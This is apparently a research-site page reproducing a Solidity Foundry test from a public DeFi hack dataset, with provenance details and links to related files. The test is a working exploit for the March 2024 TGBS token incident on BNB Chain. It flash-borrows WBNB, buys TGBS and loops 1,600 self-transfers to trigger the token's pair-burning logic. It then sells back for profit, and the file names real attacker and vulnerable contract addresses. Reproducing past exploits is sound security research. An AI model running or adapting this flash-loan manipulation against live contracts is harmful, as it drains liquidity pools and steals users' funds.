Public reproduction file
src/test/2024-03/TGBS_exp.sol
Public reproduction file for dataset entry TGBS.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~$150K8// Attacker : https://bscscan.com/address/0xff1db040e4f2a44305e28f8de728dabff58f01e19// Attack Contract : https://bscscan.com/address/0x1a8eb8eca01819b695637c55c1707f9497b51cd910// Created Attack Contract: https://bscscan.com/address/0x3eBA5062ca36DFB16156748f0fD3A608Be9E301111// Vuln Contract : https://bscscan.com/address/0xedecfa18cae067b2489a2287784a543069f950f412// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0xa0408770d158af99a10c60474d6433f4c20f3052e54423f4e590321341d4f2a414// @Analysis16// https://twitter.com/Phalcon_xyz/status/176528525794997474718interface ITGBS is IERC20 {19 function _burnBlock() external view returns (uint256);20}22contract ContractTest is Test {23 DVM private constant DPPOracle = DVM(0x05d968B7101701b6AD5a69D45323746E9a791eB5);24 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);25 ITGBS private constant TGBS = ITGBS(0xedecfA18CAE067b2489A2287784a543069f950F4);26 Uni_Router_V2 private constant Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);28 function setUp() public {29 vm.createSelectFork("bsc", 36_725_819);30 vm.label(address(DPPOracle), "DPPOracle");31 vm.label(address(WBNB), "WBNB");32 vm.label(address(TGBS), "TGBS");33 vm.label(address(Router), "Router");34 }36 function testExploit() public {37 emit log_named_decimal_uint(38 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()39 );41 uint256 baseAmount = WBNB.balanceOf(address(DPPOracle));42 DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encodePacked(uint32(0)));44 emit log_named_decimal_uint(45 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()46 );47 }49 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {50 WBNB.approve(address(Router), baseAmount);51 WBNBToTGBS(baseAmount);53 uint256 i;54 while (i < 1600) {55 TGBS.transfer(address(this), 1);56 uint256 burnBlock = TGBS._burnBlock();57 // If burn block is not a current block number, the amount of TGBS will be burned in swap pair58 if (burnBlock != block.number) {59 ++i;60 }61 }62 TGBS.approve(address(Router), TGBS.balanceOf(address(this)));63 TGBSToWBNB(TGBS.balanceOf(address(this)));65 WBNB.transfer(address(DPPOracle), baseAmount);66 }68 function WBNBToTGBS(69 uint256 amountIn70 ) private {71 address[] memory path = new address[](2);72 path[0] = address(WBNB);73 path[1] = address(TGBS);74 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(75 amountIn, 0, path, address(this), block.timestamp + 1076 );77 }79 function TGBSToWBNB(80 uint256 amountIn81 ) private {82 address[] memory path = new address[](2);83 path[0] = address(TGBS);84 path[1] = address(WBNB);85 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(86 amountIn, 0, path, address(this), block.timestamp + 1087 );88 }89}Analysis
Dataset entry
Public Foundry test for “TGBS” (2024-03-06). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
18 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-03/ALP_exp.solSame month in the dataset · 84 lines
- src/test/2024-03/ARK_exp.solSame month in the dataset · 52 lines
- src/test/2024-03/BBT_exp.solSame month in the dataset · 140 lines
- src/test/2024-03/Binemon_exp.solSame month in the dataset · 80 lines
- src/test/2024-03/CGT_exp.solSame month in the dataset · 272 lines
- src/test/2024-03/ETHFIN_exp.solSame month in the dataset · 126 lines
- src/test/2024-03/GHT_exp.solSame month in the dataset · 62 lines
- src/test/2024-03/IT_exp.solSame month in the dataset · 139 lines
- src/test/2024-03/Juice_exp.solSame month in the dataset · 76 lines
- src/test/2024-03/LavaLending_exp.solSame month in the dataset · 347 lines
- src/test/2024-03/MO_exp.solSame month in the dataset · 94 lines
- src/test/2024-03/Paraswap_exp.solSame month in the dataset · 75 lines
- src/test/2024-03/Prisma_exp.solSame month in the dataset · 216 lines
- src/test/2024-03/SSS_exp.solSame month in the dataset · 90 lines
- src/test/2024-03/UnizenIO_exp.solSame month in the dataset · 43 lines
- src/test/2024-03/Woofi_exp.solSame month in the dataset · 185 lines
- src/test/2024-03/ZongZi_exp.solSame month in the dataset · 116 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xff1db040e4f2a44305e28f8de728dabff58f01e1
- Attack Contract
0x1a8eb8eca01819b695637c55c1707f9497b51cd9
- Attack Tx
0xa0408770d158af99a10c60474d6433f4c20f3052e54423f4e590321341d4f2a4
- Explorer: https://bscscan.com/address/0xff1db040e4f2a44305e28f8de728dabff58f01e1
- Explorer: https://bscscan.com/address/0x1a8eb8eca01819b695637c55c1707f9497b51cd9
- Explorer: https://bscscan.com/address/0x3eBA5062ca36DFB16156748f0fD3A608Be9E3011
- Explorer: https://bscscan.com/address/0xedecfa18cae067b2489a2287784a543069f950f4
- Reference: https://twitter.com/Phalcon_xyz/status/1765285257949974747
File record
- Name
- TGBS
- Path
- src/test/2024-03/TGBS_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- a034bb01521d45779329de9c0d2089556eb3451a
- Language
- Solidity
- Size
- 90 lines
- Date
- 2024-03-06
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-03/TGBS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a034bb01521d45779329de9c0d2089556eb3451a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.